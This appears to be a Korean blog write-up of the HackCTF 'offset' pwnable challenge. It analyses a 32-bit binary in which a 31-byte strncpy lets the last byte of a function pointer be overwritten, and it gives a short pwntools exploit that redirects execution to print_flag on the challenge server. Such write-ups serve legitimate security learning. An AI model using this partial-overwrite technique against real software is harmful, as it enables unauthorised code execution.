[HackCTF] offset
System/PWNABLE

[HackCTF] offset

728x90

check

- 32bit

- Full RELRO

- PIE

Analyze

Pseudo Code (IDA)

main함수와 유용하게 쓰일 것 같은 함수들이다.
select_func 함수

 

print_flag(): 실행시켜야 할 함수

- select_func 함수에서 src는 main함수에서 s를 받는다.

- select_func에서 strncpy함수를 이용하여 dest에 src의 내용을 0x1F(31byte)만큼 복사한다. 

- one, two 함수는 단순하게 문자열을 출력하는 함수이다. 

- select_func에서는 포인터 v3에 함수 two를 리턴했다. select_func이 종료될 때 v3이 리턴된다. 즉, v3이 가리키는 함수가 리턴되므로 이 값을 조작하면 원하는 함수를 리턴할 수 있을 것 같다. 

- 그리고 dest와 v3 사이의 거리는 0x2A-0xC (=42-12) = 30byte이다. 따라서, src에서 dest로 복사되는 내용을 이용하여 31byte를 쓰면 v3 가장 끝 한 바이트를 변경해줄 수 있을 것 같다.

- print_flag라는 함수가 있다. 이 함수로 리턴하게끔 하면 flag를 얻을 수 있을 것 같다.

offset

two함수의 offset은 0x000006ad, printf_flag 함수의 offset은 0x000006df으로 마지막 한 바이트만 다르다!

>> \xdf 로 덮어쓰면 마지막 한 바이트만 다르기 때문에 print_flag로 흐름을 바꿀 수 있을 것이다.!


exploit 하기에 앞서 gdb로 한 번 확인을 해보면

우선, 0x000007d4 <+85>: call   eax 에 breakpoint를 설정했다. 그리고 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB"를 입력했다. 

EAX는 IDA에서 확인한 변수 v3를 가리키고 있다고 추측할 수 있다. 
0x41(A)가 30byte만큼 채워지고 0x42(B)가 v3의 마지막 바이트에 저장된 것을 확인했다.

Exploit

from pwn import *

context.log_level = 'debug'

#p = process("./offset")
p = remote("ctf.j0n9hyun.xyz", 3007)

pl = "A"*(0x2A - 0xC)
pl += "\xdf"

p.sendlineafter("?\n", pl)

p.interactive()

! 성공 !

SMALL

'System > PWNABLE' 카테고리의 다른 글

[LOB] orc → wolfman  (0) 2021.02.05
[HackCTF] 내 버퍼가 흘러넘친다!!! (prob1)  (2) 2021.02.04
[HackCTF] basic_bof2  (2) 2021.02.01
[HackCTF] ROP  (2) 2021.02.01
[HackCTF] bof_basic  (1) 2021.01.22